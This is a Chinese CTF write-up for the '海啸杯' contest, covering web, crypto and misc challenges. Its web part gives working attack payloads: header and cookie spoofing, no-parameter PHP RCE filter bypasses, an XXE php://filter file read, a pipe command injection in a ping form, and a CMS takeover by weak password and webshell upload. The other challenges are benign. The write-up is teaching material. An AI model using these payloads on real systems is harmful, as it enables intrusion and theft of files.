海啸杯WriteUp
WEB
G2mtu学生?
源码:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php setcookie("user", "0", time()+360); if(@$_SERVER["HTTP_X_FORWARDED_FOR"]!="127.0.0.1"){ die("u no student in Gzmtu"); }else{ if($_COOKIE['user']==1){ echo "flag{welcom_to_GZMTU_56456s4awdawdafafa}"; }else{ die("u no admin!"); } } ?>
|
考X-Forwarded-For绕过和Cookie伪造
方法:将user=0改成user=1;在后面加上X-Forwarded-For:127.0.0.1
无参数RCE
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
$a=""; if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { if(preg_match("/ses|pos|end|next|name|chdir|var|impolode|tan|tall|sys|eval|var|high|show|read|base|url|print/", $_GET['code'])){ die("no no no !"); } eval("\$a=".$_GET['code']); if(preg_match('/flag/', $a)){ die("no"); } echo($a); } else { show_source(__FILE__); } ?>
|
解法一:利用SESSIONID传参
解法二:
查看目录用
1
| scandir(pos(localeconv()));
|
pos被ban了,用current()代替。var_dump也被ban了,改用Print_f
1
| /?code=Print_r(scandir(current(localeconv())));
|
看到[3]=>flag.php,用array_flip()反转,即变成[flag.php]=>3
反转后用array_rand()随机返回键名
最终payload:
1
| /?code=Var_dump(Readfile(array_rand(array_flip(scandir(Pos(localeconv()))))));
|
解法三:
用file_get_contents()
1
| /?code=file_get_contents(array_rand(array_flip(scandir(current(localeconv())))));
|
后面过滤了flag,也就是过滤了flag.php,读到就会被die。如下图所示:
所以进行加密,base64加密被过滤了,选择十六进制加密。
1
| /?code=bin2hex(file_get_contents(array_rand(array_flip(scandir(current(localeconv()))))));
|
刷新多几次,刷出
解十六进制
Who are you?
XXE
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <?php libxml_disable_entity_loader(false); $data = @file_get_contents('php://input'); $resp = '';
if($data != false){ $dom = new DOMDocument(); $dom->loadXML($data, LIBXML_NOENT); ob_start(); $res = $dom->textContent; $resp = ob_get_contents(); ob_end_clean(); if ($res){ die($res); }
} ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>welcome</title> <link rel="stylesheet" href="./style.css"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge">
</head> <body class="contactBody"> <div class="wrapper"> <div class="title">
</div>
<form method="post" class="form"> <h1 id="title">请输入姓名</h1> <br/> <br/> <br/> <input type="text" class="name entry " id="name" name="name" placeholder="Your Name"/> </form> <button class="submit entry" onclick="func()">Submit</button>
<div class="shadow"></div> </div>
</body> </html> <script type="text/javascript"> function play() { return false; } function func() { var xml = '' + '<\?xml version="1.0" encoding="UTF-8"\?>' + '<feedback>' + '<author>' + document.getElementById('name').value+ '</author>' + '</feedback>'; console.log(xml); var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4) { var res = xmlhttp.responseText; document.getElementById('title').textContent = res } }; xmlhttp.open("POST", "index.php", true); xmlhttp.send(xml); return false; }; </script> </body> </html>
|
抓包,加上xxe外部实体注入+伪协议
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<feedback> <author>&xxe;</author> </feedback>
|
得到了一串base64码,解密得到源码,flag就在源码里
神奇的登录框
无回显ping命令
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); header("Content-Type: text/html;charset=utf-8"); if( isset( $_POST['submit'] ) ) { $target = $_REQUEST['site']; if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); } } ?>
|
发现可以写文件。
1
| locallost|cat flagggg.php> 1.txt
|
CMS
解法一:
弱口令admin/admin8888登录后台
找到站内文件,并可以修改post.html
插入php代码,读flag
修改“关于我们”页面
在前台打开“关于我们”页面
解法二:
登陆后台后,新建表单,创建一个上传路径,通过上传路径将木马上传即可。
Crypto
小明家的小菜园
栅栏密码,在线转换,不确定多少组,一个一个试。
恺撒将军
凯撒密码,提示是差3。
payload:
1 2 3 4 5
| strings = "]p{k]6wmfqozgJ<id[QidKkl[6Qy[5YEf6nziT@@" flag = "" for a in strings: flag += chr(ord(a)-3) print(flag)
|
base64解码:
战报
下载得到一个txt文件,分明文和暗文两部分。
分别统计明文和暗文的字数频率
明文:
暗文:
题目提示待解密文:givfome
暗文的前七位就是givfome,对应明文的前七位字母,得到flag{eantosi}
MISC
老烟枪
下载得到一个zip,增加.zip后缀打开后有一张cxk.jpg。kaili打开,用binwalk打开一下
得到flag.png
flag.png:
水平反转即可。
表白
用winhex修改图片宽高即可
LSB
LSB图片隐写。
用Stegsolve打开,Data Extract 分析,选中RGB的0.保存png文件。得到一个二维码。扫描得flag
你能破解吗?
hint:压缩包密码为g2mtu加四位数字
脚本生成密码字典
1 2 3 4 5
| f = open('1.txt','w') for i in range(1000,9999): a = 'g2mtu'+str(i)+'\n' f.write(a) f.close()
|
打开ARCHRP,选择字典模式
破解出密码